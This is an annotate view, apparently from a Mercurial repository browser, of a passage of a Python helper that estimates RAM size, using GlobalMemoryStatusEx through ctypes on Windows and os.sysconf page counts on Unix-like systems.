diff changeset
3636 if pycompat.sysplatform.startswith(b'win'):
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3637 # On Windows, use the GlobalMemoryStatusEx kernel function directly.
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3638 from ctypes import c_long as DWORD, c_ulonglong as DWORDLONG
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3639 from ctypes.wintypes import Structure, byref, sizeof, windll
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3640
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3641 class MEMORYSTATUSEX(Structure):
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3642 _fields_ = [
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3643 ('dwLength', DWORD),
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3644 ('dwMemoryLoad', DWORD),
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3645 ('ullTotalPhys', DWORDLONG),
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3646 ('ullAvailPhys', DWORDLONG),
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3647 ('ullTotalPageFile', DWORDLONG),
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3648 ('ullAvailPageFile', DWORDLONG),
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3649 ('ullTotalVirtual', DWORDLONG),
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3650 ('ullAvailVirtual', DWORDLONG),
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3651 ('ullExtendedVirtual', DWORDLONG),
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3652 ]
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3653
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3654 x = MEMORYSTATUSEX()
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3655 x.dwLength = sizeof(x)
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3656 windll.kernel32.GlobalMemoryStatusEx(byref(x))
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3657 return x.ullAvailPhys
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3658
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3659 # On newer Unix-like systems and Mac OSX, the sysconf interface
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3660 # can be used. _SC_PAGE_SIZE is part of POSIX; _SC_PHYS_PAGES
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3661 # seems to be implemented on most systems.
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3662 try:
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3663 pagesize = os.sysconf(os.sysconf_names['SC_PAGE_SIZE'])
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3664 pages = os.sysconf(os.sysconf_names['SC_PHYS_PAGES'])
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3665 return pagesize * pages
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3666 except OSError: # sysconf can fail
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3667 pass
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3668 except KeyError: # unknown parameter
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3669 pass